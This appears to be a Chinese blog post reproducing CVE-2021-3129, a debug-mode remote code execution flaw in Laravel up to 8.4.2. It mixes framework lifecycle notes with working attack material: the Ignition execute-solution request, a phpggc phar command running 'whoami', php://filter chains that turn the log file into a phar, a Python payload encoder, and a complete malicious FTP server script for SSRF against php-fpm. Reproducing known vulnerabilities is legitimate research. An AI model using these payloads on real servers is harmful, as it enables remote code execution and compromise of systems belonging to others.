laravel8和CVE-2021-3129复现

下载8.4.2源码

要有composer,php版本7.3以上

composer install 删除composer.lock,php artisan key:generate,改一下.env然后进调试

配置

所有配置文件都在config目录里面

storage 目录和 bootstrap/cache 目录应该允许 Web 服务器写入

storage里面有模板缓存,log和session序列化文件

bootstrap/cache包含用于性能优化的框架生成的文件,例如路由和服务缓存文件

目录结构

  • app:核心代码
    • console artisan的命令
    • http 中间件和controller
    • models
  • bootstrap 启动文件app.php
  • config 配置
  • database 模型工厂等
  • public 入口
  • resources 视图
  • routes 路由定义
  • storage Blade框架生成的基于目录的模板、文件和缓存

生命周期

入口index.php,先加载autoload然后进入bootstrap/app.php,在app.php里先实例化一个application类

public function __construct($basePath = null)
    {
        if ($basePath) {
            // 设置路径信息
            $this->setBasePath($basePath);
        }
        //注册基础对象 app,container
        $this->registerBaseBindings();
        //注册服务对象 event,router,log
        $this->registerBaseServiceProviders();
        //注册各种核心类的别名
        $this->registerCoreContainerAliases();
    }

设置路径信息如下

然后注册各种实例到$app

在app.php里面还要绑定http处理,后台处理,异常处理的核心到$app,然后make一个kernel

然后调用kernel->handle()

$response = tap($kernel->handle(
    $request = Request::capture()
))->send();

(父类HTTP/kernel)

public function handle($request)
    {
        try {
            $request->enableHttpMethodParameterOverride();

            $response = $this->sendRequestThroughRouter($request);
        } catch (Throwable $e) {
            $this->reportException($e);

            $response = $this->renderException($request, $e);
        }

        $this->app['events']->dispatch(
            new RequestHandled($request, $response)
        );

        return $response;
    }

跟进sendRequestThroughRouter,最终遍历所有定义的routers找到一个合适的router

最后会进到route->run(),如果是controller就run controller,不然就是闭包之类的,直接run callerable

如果是controller就通过反射类获取一个controller的实例,然后调用方法,比如一个hellocontroller的hello方法

LARAVEL <= V8.4.2 DEBUG MODE RCE复现

第一种方法:phar反序列化

随便在welcome的view文件下增加一个{{$username}},此时访问/会有一个报错,然后有一个make optional的选项,抓包可以看到

POST /_code/laravel/laravel-8.4.2/public/_ignition/execute-solution
...
Content-Type: application/json
...

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"c:\\path\\to\\welcome.blade.php"}}

在ExecuteSolutionController里面会执行solution的run方法

在MakeViewVariableOptionalSolution的run方法中执行makeOptional方法,然后会file_put_contents把新的内容放回去

继续进入makeOptional,第一行就可以phar反序列化


先创建一个phar文件

php -d ‘phar.readonly=0’ ./phpggc -p phar -o ./monolog1.phar monolog/rce1 system wh
oami

然后直接把viewfile改了即可

到这里基本的漏洞原理就结束了,但是上面这种方法需要我们可以上传恶意的phar文件,如果不能上传恶意的文件怎么办,原作者想出了把laravel的log文件转化成phar文件的方法如下

去除脏数据

🍊在2018年发表的一篇文章描述了php upload_progress+条件竞争+wrapper去除脏数据的方法

php upload_progress+条件竞争2019年国赛的wp我已经写过了,这里看一下wrapper去除脏数据

convert.base64decode的时候会忽略脏字符,比如

echo ':;.!!!!!ZEdWemRBbz0K:;.!!!!!' > /path/to/file.txt
$f = 'php://filter/read=convert.base64-decode|convert.base64-decode/resource=/path/to/file.txt';
$contents = file_get_contents($f); 
file_put_contents($f, $contents); 
$ cat /path/to/file.txt
test

但是在laravel的log中我们可控的部分很少,所以base64去除脏字符的时候会出现问题,比如

php > var_dump(base64_decode(base64_decode('[2022-04-30 23:59:11]')));
string(0) ""
php > var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]')));
string(1) "2"

而且如果在decode的时候等号后面出现了别的base64字符会触发php warning,此时进入Ignition错误页面,无法写入decode后的字符

我们需要找到一种编码转换来让我可以自由控制log的内容,官网的文档好像没说filter支持的编码的种类,看下源码

没有convert.iconv.*发现没编译iconv模块

另外convert.*里面就只有4个

重新编译一下再跟

然后进到的是php_iconv_stream_filter_factory_create

跟进php_iconv_stream_filter_ctor,发现最终调用的是iconv_open来完成转换,所以这里也可以设置GCONV_PATH然后绕过disable_functions,(但是之前复现bytectf的那个gconv_path一直没成功)


跑偏了,重新回到构造payload

首先unicode是一个字符集,它给每一个符号一个对应的编号,而utf-8,utf-16,utf-32是实现unicode这个字符集的方式

utf-8

U-00000000 - U-0000007F:    0xxxxxxx      ///表示ASCII
U-00000080 - U-000007FF:    110xxxxx 10xxxxxx      
U-00000800 - U-0000FFFF:    1110xxxx 10xxxxxx 10xxxxxx
U-00010000 - U-001FFFFF:    11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
U-00200000 - U-03FFFFFF:    111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
U-04000000 - U-7FFFFFFF:    1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

utf-16

UTF-16的编码长度要么是2个字节(基本平面:U+0000到U+FFFF),要么是4个字节(辅助平面:U+010000到U+10FFFF)4个字节的部分一共占用20位,分成2个10位存储,映射表如下

另外utf-16分为le和be,所以最开始要加上0xfffe或者0xfeff

最终原作者选择了把utf16le转换成utf8的方式,这样我们在我们的payload前面加上00,而另外的字符都是数字字母,编码有误会被忽略


先清空log

php://filter/write=convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

再写log,比如我们的payload,就先base64编码,然后加上\0,但是此时无法写入log

于是我们再增加一种编码quoted-printable-decode,并且连续发送2次包(保证总的字符数为偶数)

import base64
with open("monolog1.phar","rb") as f:
    a=f.read()
    a = base64.b64encode(a)
b=""
for i in a:
    b+="=%x=00" % i

print("A"*16+b.upper()) //必须大写,添加A作为padding

运行以后把输出写入

然后去除脏字符:

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

最后访问phar://../storage/logs/laravel.log即可

遇到的坑

除了这篇文章提到的坑之外

  • payload不止出现2处,还会出现一部分
  • 方法:添加几个A作为padding
  • 添加16个A以后不再报错,但是log内容直接虚无,我猜测是因为第一个payload前面字节不是2和4的倍数,导致convert.iconv.utf-16le.utf-8的时候payload直接消失
  • 方法:减掉1-3个A
  • 另外注意quoted-printable编码必须为大写

之后命令执行成功

第二种方法:ftp ssrf php-fpm

编写一个恶意的ftp服务器,开被动模式

第一次file_get_contents返回payload

第二次file_put_contents让ftp开启被动模式设置端口和ip为127.0.0.1:9000

可以看看这篇文章,payload我稍微去除了一点没用的if else

import socket
from urllib.parse import unquote

# 对gopherus生成的payload进行一次urldecode
payload = unquote("%65%65%65")
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()

# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
    conn, address = sk.accept()
    conn.send(b"200 \n")
    
    print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
    conn.send(b"220 ready\n")

    print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
    conn.send(b"200 \n")

    print(conn.recv(20))  # SIZE /123\r\n  客户端询问文件/123的大小
    if count == 1:
        conn.send(b"213 \n")  #此处竟然不需要发送文件长度,随便返回个2xx即可,file_size=0也无所谓
    else:
        conn.send(b"300 \n")

    print(conn.recv(20))  # EPSV\r\n'
    conn.send(b"200 \n")

    print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
    if count == 1:
        conn.send(b"227 127,0,0,1,4,210\n")  # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
    else:
        conn.send(b"227 127,0,0,1,35,40\n")  # 端口计算规则:35*256+40=9000

    print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
    if count == 1:
        conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
        # 新建一个socket给服务端返回我们的payload
        print("建立连接!")
        conn2, address2 = sk2.accept()
        conn2.send(payload)
        conn2.close()
        print("断开连接!")
    else:
        conn.send(b"125 \n")
        print(conn.recv(20))
        exit()

    # 第一次连接是下载文件,需要告诉客户端下载已经结束
    if count == 1:
        conn.send(b"226 \n")
    conn.close()
    count += 1

我也稍微跟一下来看看

断点下在php_stream_url_wrap_ftp

前面是检测一些读写参数的设置,直接进入到php_ftp_fopen_connect

第一次GET_FTP_RESULT,开启连接

第二次,发送用户名,如果需要密码就发送密码

到这里完成了ftp一开始的连接工作,来到第三次,发送TYPE I,表示使用二进制的方式传输,ftp协议中还有一种是type a表示使用ascii的方式传输,有一些小区别

第四次,获取文件长度,因为第一次是file_get_contents,所以此时read_write==1

接下来会进入php_fopen_do_pasv函数,进行被动模式连接,来到第五次,检测ipv6

没有ipv6,不用epsv模式,然后就使用pasv模式,即第六次GET_FTP_RESULT

然后接下来的一坨代码是用来翻译ip地址和端口,此时为第一次ftp连接,我们给的端口为1234

此时在559行会进行tcp数据传输

接下来第七次

第八次在php_stream_ftp_stream_close里面,发送一个226或者250即可

然后第一次ftp连接就结束了,来到第二次file_put_contents的ftp连接,第一次和第二次的php_ftp_fopen_connect毫无区别

第一处区别在客户端发送SIZE的时候,此时我们的read_write=2,进入不同的条件区块

第二处区别在客户端发送PASV的时候,此时我们要返回ssrf的ip和端口

第三处区别是第一次ftp要在pasv的端口发送文件,然后正常关闭连接,第二次运行到ssrf的代码以后爱咋地咋地,server.py就不管后面的了,最后收到我们测试的payload%65%65%65如下,如果要攻击,把gopherus的payload和对应的端口填上即可

发表评论

邮箱地址不会被公开。 必填项已用*标注